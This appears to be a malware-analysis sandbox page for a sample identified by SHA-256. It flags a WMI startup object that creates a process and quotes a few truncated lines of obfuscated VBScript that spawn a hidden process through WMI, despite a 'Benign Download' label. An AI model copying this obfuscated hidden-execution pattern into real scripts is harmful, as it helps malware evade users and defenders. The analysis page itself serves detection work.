Benign Download

35804ccf52bf0955d297c1c3ef476d8418df7afa3525dcac26591084a25c4031.unknown

WMI startup object creates a process
SHA-25635804ccf52bf0955d297c1c3ef476d8418df7afa3525dcac26591084a25c4031
MaleculeO(Xe)

Evidence

WMI startup object creates a process lines 100–144
100:7… r(119)&""))
101Set ONHJDHATCCIOZYGPHLJZLP = KNSDVDTKZPPAKXWRXUIHBQ.SpawnInstance_
102ONHJDHATCCIOZYGPHLJZLP.ShowWindow = 0
103Set NIYQYBXSNLILFSEPNDSGJJ = GetObject(StrReverse(""&chr(83)&""_
⋯41 lines

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.